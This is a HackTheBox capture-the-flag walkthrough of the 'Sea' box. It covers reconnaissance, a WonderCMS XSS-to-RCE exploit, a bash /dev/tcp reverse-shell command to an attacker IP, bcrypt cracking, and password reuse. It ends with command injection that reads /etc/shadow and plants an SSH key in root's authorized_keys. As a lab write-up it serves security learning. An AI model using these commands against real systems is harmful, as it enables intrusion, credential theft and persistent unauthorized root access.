Sea - HackTheBox¶

IP: 10.129.6.48 (originally 10.129.20.143)
OS: Linux (Ubuntu)
Difficulty: Easy
Flags: User ✅ | Root ✅

1) Recon — Nmap¶

Command

nmap -p- --min-rate 3000 -Pn -oA nmap/SeaAllPorts $IP
nmap -p22,80 -sSCV --min-rate=2000 -Pn -oN nmap/SeaServicesVersions $IP

Key Output - 22/tcp — OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 - 80/tcp — Apache/2.4.41 (Ubuntu), PHP (PHPSESSID cookie), title "Sea - Home"

Decision: Only SSH + HTTP. This is a web-focused box. Added sea.htb to /etc/hosts.

2) Web Enumeration — ffuf¶

Command

ffuf -u http://10.129.20.143/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
ffuf -u http://10.129.20.143/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -fc 403 -v

Key findings (non-403):

Path	Status	Notes
`/` / `index.php` / `home`	200 (3680 bytes)	Main page
`/404` / `0`	200 (3371 bytes)	Custom 404 page
`/data`	301	Directory — needs deeper fuzzing
`/messages`	301	Directory — needs deeper fuzzing
`/plugins`	301	Directory — needs deeper fuzzing
`/themes`	301	Directory — needs deeper fuzzing

Also found (from browsing): - /contact.php — "Competition registration - Sea" form (Name, Email, Age, Country, Website) - /loginURL — Login page endpoint

Decision: Directory structure (data/, messages/, plugins/, themes/) suggests a CMS. Need to identify which one.

3) CMS Identification — WonderCMS¶

How identified: - Browsing page source revealed author velik71 - Googled velik71 → found WonderCMS community page with "bike" theme 2.0 by velik71 - Downloaded bike theme ZIP, extracted images → identical to images on sea.htb - Directory structure (data/, messages/, plugins/, themes/) matches WonderCMS (flat-file PHP CMS, no database)

Key reasoning chain: - PHP + no database port = flat-file CMS - data/, themes/, plugins/ directory combo narrows it down - Author name velik71 confirmed it as WonderCMS

4) Exploit — CVE-2023-41425 (WonderCMS 3.4.2 XSS to RCE)¶

Discovery

searchsploit wondercms
searchsploit -m php/remote/52271.py

Exploit: 52271.py — WonderCMS 3.4.2 authenticated RCE via XSS - Creates a malicious JS payload hosted on attacker's HTTP server - XSS payload injected via contact.php "Website" field → triggers when admin views submissions - JS payload uploads a PHP webshell as a "theme" to /themes/malicious/malicious.php

Setup issues: - searchsploit copy had formatting issues → dos2unix 52271.py to fix - Required Python HTTP server for hosting the XSS payload

Commands

# Terminal 1: HTTP server to host XSS payload
python3 -m http.server 6969

# Terminal 2: Run exploit (generates XSS link and submits via contact form)
python3 52271.py --url http://sea.htb/loginURL --xip 10.10.14.69 --xport 6969

# Terminal 3: Listener for reverse shell
rlwrap nc -lnvp 42069

Triggering the shell:

# After exploit runs and webshell is uploaded, trigger reverse shell:
curl -s 'http://sea.htb/themes/malicious/malicious.php' --get \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.69/42069 0>&1'"

Result: Reverse shell as www-data@sea

5) Credential Discovery — database.json¶

Found in: /var/www/sea/data/files/database.json

Bcrypt hash for WonderCMS admin:

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q

Cracking:

echo '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' > YourMomsHash.txt
hashcat -m 3200 YourMomsHash.txt /usr/share/wordlists/rockyou.txt --force

- -m 3200 = bcrypt mode (for $2y$ hashes) - Cracked password: mychemicalromance

6) Foothold — SSH as amay¶

Tried cracked password against SSH users on the box:

ssh [email protected]
# Password: mychemicalromance

Result: SSH shell as amay. User flag location TBD.

7) Privilege Escalation — Internal Service Discovery¶

Enumeration

sudo -l          # No sudo privileges
find / -perm /4000 2>/dev/null   # All standard SUID binaries
ss -tlnp         # Internal services check

Key finding from ss -tlnp:

Address	Port	Notes
0.0.0.0	80	Apache (known)
0.0.0.0	22	SSH (known)
127.0.0.1	8080	Internal web service — not visible from nmap
127.0.0.1	50919	Unknown internal service
127.0.0.53	53	systemd-resolved DNS

Decision: Port 8080 on localhost = hidden web app. Classic easy-box privesc pattern.

8) Port Forwarding & Internal Web App¶

Command

ssh -L 9090:127.0.0.1:8080 [email protected]

Flags/Notes - -L 9090:127.0.0.1:8080 = forward local port 9090 → target's localhost:8080 - Browse http://127.0.0.1:9090 on Kali after connecting

Auth: HTTP Basic Auth — amay:mychemicalromance works (password reuse again)

What's running: "System Monitor(Developing)" — a PHP app with: - Disk Usage display - System Management buttons: Clean system with apt, Update system, Clear auth.log, Clear access.log - Analyze Log File — dropdown (access.log) + Analyze button, reads /var/log/auth.log

Attack vector: The log_file POST parameter passes a full file path directly into a shell command (likely grep or similar) without sanitization.

9) Burp Intercept — Parameter Discovery¶

Intercepted the "Analyze" POST request in Burp Suite:

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==

log_file=%2Fvar%2Flog%2Fapache2%2Faccess.log&analyze_log=

Key findings: - log_file = full file path (e.g. /var/log/apache2/access.log) - analyze_log = submit button name (empty value, just needs to be present) - The app passes log_file directly into a shell command server-side

10) Path Traversal — Confirmed Root Execution¶

Command

curl -s http://127.0.0.1:9090/ -u 'amay:mychemicalromance' \
  -d 'log_file=/etc/shadow&analyze_log='

Result: Successfully read /etc/shadow — service runs as root. Found SHA-512 hashes ( $6$ ) for root, amay, and geo.

But: Reading /root/root.txt returned "No suspicious traffic patterns detected" — the app greps for patterns and the flag (hex string) didn't match any, so content was suppressed.

11) Command Injection — Root RCE¶

Command

curl -s http://127.0.0.1:9090/ -u 'amay:mychemicalromance' \
  -d 'log_file=/root/root.txt;id&analyze_log='

Result: The ; broke out of the shell command. The flag content 3b6e3925cc3ad338dd099ff8ad2f2c5f leaked in the response because the injected id command caused a different code path.

Why this works: The PHP code does something like system("grep 'pattern' " . $log_file). The ; is a bash command separator — it terminates the grep and starts a new command.

12) Root Shell — SSH Key Injection¶

Reverse shell attempts kept dying (likely a watchdog or .bashrc with exit). Used --norc --noprofile with mkfifo to get a brief shell, but it wasn't stable.

Solution: Write SSH public key via command injection

curl -s http://127.0.0.1:9090/ -u 'amay:mychemicalromance' \
  --data-urlencode 'log_file=/var/log/apache2/access.log;mkdir -p /root/.ssh;echo ssh-ed25519 AAAAC3... >> /root/.ssh/authorized_keys;chmod 600 /root/.ssh/authorized_keys' \
  -d 'analyze_log='

Then:

ssh -i ~/.ssh/id_ed25519 [email protected]

Result: Stable root SSH shell. Root flag confirmed.

Troubleshooting notes: - First attempt failed because box rebooted → SSH tunnel died → had to re-establish tunnel before injection would work - bash -i >& /dev/tcp/... syntax failed via curl (redirect characters getting mangled) - mkfifo reverse shell connected but died quickly (.bashrc exit or watchdog) - SSH key injection = most stable approach for persistent root access

Lessons Learned¶

velik71 author attribution in page source → Google OSINT → CMS identification
WonderCMS is a flat-file CMS (no database) — database.json is the config/user store
searchsploit copies sometimes have encoding issues → dos2unix to fix
Contact form "Website" field was the XSS injection vector for CVE-2023-41425
bcrypt hashes ( $2y$ ) = hashcat mode 3200
ss -tlnp is the highest-signal privesc check on Linux — reveals internal services invisible to external nmap
SSH port forwarding (-L) to access internal web apps is a common HTB pattern
Password reuse across services (SSH creds → HTTP Basic Auth)
Burp Suite intercept is essential — curl guessing parameter names wastes time
Path traversal reading a file doesn't mean you see its content — the app may filter/grep the output
Command injection with ; to break out of shell commands — classic unsanitized input
Reverse shells can die from .bashrc traps — use --norc --noprofile or switch to SSH key injection
SSH key injection via command injection = stable persistent access when reverse shells are flaky
Always check your SSH tunnel is alive after box reboots
SHA-512 crypt hashes ( $6$ ) = hashcat mode 1800